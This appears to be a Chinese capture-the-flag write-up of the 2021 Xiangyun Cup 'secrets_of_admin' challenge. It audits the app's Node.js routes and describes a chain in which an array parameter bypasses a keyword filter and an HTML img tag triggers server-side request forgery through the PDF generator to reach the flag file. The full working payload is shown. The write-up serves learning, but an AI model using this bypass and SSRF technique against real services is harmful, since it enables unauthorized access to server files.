[2021祥云杯]secrets_of_admin

1.题目给了源码,简单看了一下,重点需要关注/routes/index.js中的三个路由和数据库执行文件database.ts即可

2.首先看到database.ts文件,一共两张表:users、files,其中users表中里面保存了admin用户的账号密码,另外再往files表中插入了一条文件数据,这里到下面再解析。

image-20231023183803511

3.利用给出的账号密码登陆admin账号,接下来看到router.post('admin')这个路由,checkAuth函数我们是已经通过校验的,因为我们账号并不是superuser/login路由就已经isadmin=1了。这个/admin路由主要看我们输入的数据content,它会先嵌入template中,再被packjson文件中安装的pdf包的toFile()方法转换为pdf文件,再写入到随机uuid的文件名内。

const checkAuth = (req: Request, res:Response, next:NextFunction) => {
    let token = req.signedCookies['token']
    if (token && token["username"]) {
        if (token.username === 'superuser'){
            next(createError(404)) // superuser is disabled since you can't even find it in database :)
        }
        if (token.isAdmin === true) {
            next();
        }
        else {
            return res.redirect('/')
        }
    } else {
        next(createError(404));
    }
}

image-20231023183626914

4.下面又调用了getCheckSum方法,该方法按照文件的哈希值生成了一段校验码。然后调用DB.create()方法将我们上传转换的pdf文件名和校验码给插入到数据表files中了。

const getCheckSum = (filename: string): Promise<string> => {
    return new Promise((resolve, reject) => {
        const shasum = crypto.createHash('md5');
        try {
            const s = fs.createReadStream(path.join(__dirname , "../files/", filename));
            s.on('data', (data) => {
                shasum.update(data)
            })
            s.on('end', () => {
                return resolve(shasum.digest('hex'));
            })
        } catch (err) {
            reject(err)
        }
    })
}

image-20231023184718140

5.接下来我们直接先看'/api/files/:id'路由,该路由首先会判断我们是否为superuser用户,接下来调用DB.getFile方法,根据我们的token中的用户admin和我们get中传递的校验码id在files表中查找相关信息,并取得文件名,在/files/目录下将文件给返回。这个时候就要联系上一步分析的/admin上传方法了,在这个路由,我们根本看不到我们之前输入的数据content转化成的pdf文件。因为以下两点:

  • 首先,校验码是转化后的pdf文件哈希值,这个我们根本不知道是什么。
  • 其次,一开始审计的时候注意到这一块插入files表并没有做预编译,但通过上面分析完结果才发现这三个参数都是固定死的。注意插入的数据库语句: await DB.Create('superuser', filename, checksum),也就是INSERT INTO files(username, filename, checksum) VALUES('superuser', {'uuid}.pdf', '{hash_value}');。这里固定死了是superuser用户,因此我们admin用户再怎么输入的数据转换的文件,都不可能被查询得到。
router.get('/api/files/:id', async (req, res) => {
    let token = req.signedCookies['token']
    if (token && token['username']) {
        if (token.username == 'superuser') {
            return res.send('Superuser is disabled now');   
        }
        try {
            let filename = await DB.getFile(token.username, req.params.id)
            if (fs.existsSync(path.join(__dirname , "../files/", filename))){
                return res.send(await readFile(path.join(__dirname , "../files/", filename)));
            } else {
                return res.send('No such file!');
            }
        } catch (err) {
            return res.send('Error!');
        }
    } else {
        return res.redirect('/');
    }
});

image-20231023185515309

6.其实我们下载的文件中,目录还有一条信息,那就是flag文件一开始就存在于/files/目录下的。而我们第一步开始分析的初始化时,往files表中插入的下面这条初始化的sql数据。尽管我们有可传递的flag文件校验码(该文件的哈希值),但是该文件所属的superuser用户根本不存在的。所以我们如果用admin用户的身份来传递这条校验码,也是在数据表files中查询不出数据的。

INSERT INTO files (username, filename, checksum) VALUES ('superuser','flag','be5a14a8e504a66979f6938338b0662c');`)

7.这个时候,最后看的那个路由/api/files就是破局的关键。当我们访问这个路由,并传递对应的参数,它就可以给我们往files表中插入一条自定义的数据。这里我们不但解决了校验码未知的问题,并且还解决了查询用户固定为superuser的问题,同时又能顺利读取/files/目录下flag文件。但是又有个问题,那就是这里需要本地127.0.0.1进行访问,也就是需要ssrf。

router.get('/api/files', async (req, res, next) => {
    if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
        return next(createError(401));
    }
    let { username , filename, checksum } = req.query;
    if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
        try {
            await DB.Create(username, filename, checksum)
            return res.send('Done')
        } catch (err) {
            return res.send('Error!')
        }
    } else {
        return res.send('Parameters error')
    }
});

8.又回到了最开始/admin,我们唯一可利用的输入点就在那里。这里提一下,当我们把html文本转为pdf时,里面的script脚本文件会自动加载解析。也就是这里能触发xss,当我们构造一个图片src或者别的标签自定义弹窗时,就可以构造请求本地的/api/files了。

router.post('/admin', checkAuth, (req, res, next) => {
    let { content } = req.body;
    if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
        // even admin can't be trusted right ? :)  
        return res.render('admin', { error: 'Forbidden word 🤬'});
    } else {
        let template = `
        <html>
        <meta charset="utf8">
        <title>Create your own pdfs</title>
        <body>
        <h3>${content}</h3>
        </body>
        </html>
        `
        try {
            const filename = `${uuid()}.pdf`
            pdf.create(template, {
                "format": "Letter",
                "orientation": "portrait",
                "border": "0",
                "type": "pdf",
                "renderDelay": 3000,
                "timeout": 5000
            }).toFile(`./files/${filename}`, async (err, _) => {
                if (err) next(createError(500));
                const checksum = await getCheckSum(filename);
                await DB.Create('superuser', filename, checksum)
                return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`});
            });
        } catch (err) {
            return res.render('admin', { error : 'Failed to generate pdf 😥'})
        }
    }
});

9.这里有waf过滤了尖括号这些,参考别的文章可以用数组进行绕过。直接用img标签即可,试了一下meta标签,环境直接崩溃。

payload:content[]=<img+src%3D"http%3A//127.0.0.1:8888/api/files?username%3Dadmin%26filename%3Dflag%26checksum%3D666">

10.最后直接访问/api/files/666即可下载flag,后面试了script标签的window跳转和AJAX发送也是可以的。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值